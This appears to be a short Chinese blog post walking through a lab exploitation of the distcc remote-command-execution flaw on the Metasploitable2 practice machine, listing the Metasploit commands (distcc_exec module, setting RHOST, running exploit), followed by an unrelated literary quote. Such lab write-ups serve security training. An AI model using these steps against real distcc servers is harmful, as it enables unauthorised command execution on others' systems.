Metasploitable2靶机之第七篇--Distcc后门漏洞

环境 主机地址Metasploitable2192.168.232.202kali-linux192.168.232.129 原理

• Distcc用于大量代码在网络服务器上的分布式编译，
• 但是如果配置不严格，容易被滥用执行命令，
• 该漏洞是XCode 1.5版本及其他版本的distcc 2.x版本配置对于服务器端口的访问不限制

漏洞利用 第一步 ，启动metasploit

msfconsole

第二步选择漏洞库

search search distcc_exec
use  exploit/unix/misc/distcc_exec

第三步 设置参数，开始攻击

show options
Set RHOST 192.168.232.202设置要攻击的IP
exploit

第四步 利用成功，执行验证

摘抄 橘子不是唯一的水果，

就像世间没有唯一的答案。

– 珍妮特・温特森 《橘子不是唯一的水果》